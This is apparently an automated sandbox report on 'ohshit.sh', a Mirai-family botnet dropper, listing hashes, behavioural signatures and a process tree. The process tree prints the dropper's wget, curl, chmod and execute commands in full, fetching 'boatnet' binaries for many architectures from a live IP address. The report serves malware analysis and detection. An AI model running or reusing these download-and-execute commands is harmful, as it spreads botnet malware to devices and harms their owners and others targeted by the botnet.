Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/12/2024, 16:41

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    475e2fda5ad2a6f7f976d7ecd6ff8e16

  • SHA1

    442159d5c54acc3cb0f7085e69afe44da5d13de2

  • SHA256

    bc89ca87a2a17284502b882043c34d61e8033a155dbe5c54b4755ade38deac86

  • SHA512

    10e2a1778987aa7f3e5ae4991583fb825390d383e50370062ba2d60f74a6c7d9668ef499d43d067a75d410a5305e636d40f89ea609bf52bd80a516dd03778f8e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1465
    • /usr/bin/wget
      wget http://89.169.4.44/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1466
    • /usr/bin/curl
      curl -O http://89.169.4.44/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1470
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1480
      • /bin/chmod
        chmod +x boatnet.x86 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1481
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1482
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1486
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1487
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1489
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1490
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1494
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1495
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1497
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1498
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/boatnet.i468
        2⤵
          PID:1503
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1510
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1513
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/boatnet.i686
          2⤵
            PID:1517
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1521
          • /usr/bin/wget
            wget http://89.169.4.44/hiddenbin/boatnet.x86_64
            2⤵
              PID:1525
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1526
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1528
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1529
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1536
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1537
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1541
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1542
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-TbhmLP systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1544
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1545
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1549
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1550
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1554
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1555
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1568
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1569
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1573
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1582
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1583
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1587
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1588
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-bolt.service-16Zaom systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1600
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1601
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1612
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1616
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1617
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1622
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1624
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1625
            • /usr/bin/wget
              wget http://89.169.4.44/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1629
            • /usr/bin/curl
              curl -O http://89.169.4.44/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1630
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-KaZKo5 netplan_shzgbutu ohshit.sh snap-private-tmp ssh-DJAIfF5vDuSn systemd-private-405cfb5ad6264ab195f9c96db16d9d87-colord.service-Zm2MHU systemd-private-405cfb5ad6264ab195f9c96db16d9d87-ModemManager.service-byjNAE systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-resolved.service-9DiRy3 systemd-private-405cfb5ad6264ab195f9c96db16d9d87-systemd-timedated.service-fwBGxL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1632
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1633

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            01951b26be11a04ce291fe41e4b506f3

            SHA1

            b1f268d654af5521f6b63f4f655bed811a1faf3c

            SHA256

            186e983595031a11877c037edff0b7faedcc1b852190a3a0146e9541d05a83d8

            SHA512

            6b60b34521df9ed7fa5849a131b21845284966352db900c5ce971f0ecabedb08d8ee17438879fe0e5181fe693a68efb9df1a903fc63f62ce570b306945f7bb51